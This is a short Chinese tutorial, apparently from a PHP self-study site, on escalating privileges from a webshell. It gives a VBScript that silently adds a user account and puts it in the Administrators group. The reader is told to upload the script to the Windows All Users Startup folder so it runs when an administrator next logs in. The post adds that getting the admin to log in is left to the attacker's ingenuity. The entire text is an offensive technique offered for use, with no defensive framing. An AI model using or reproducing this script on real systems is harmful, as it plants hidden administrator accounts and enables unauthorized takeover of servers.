webshell写入启动项目提权 – 网站安全 – 自学php

set wshshell=createobject ("wscript.shell") 
a=wshshell.run ("cmd.exe /c net user 用户名 密码  /add",0) 
b=wshshell.run ("cmd.exe /c net localgroup Administrators 用户名 /add",0)

  修改帐号密码后然后复制以上代码 然后保存为.vbs的文件 文件名任意。         2.保存以后将来vbs脚本上传到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动         然后我们就提权结束,等目标服务器再次登录的时候即可自动添加帐号密码。         PS: 对于有耐心的朋友可以通过,这种方法来进行提权尝试。 当然我们的目标是让管理员登录服务器。 至于怎么做大家自行发挥。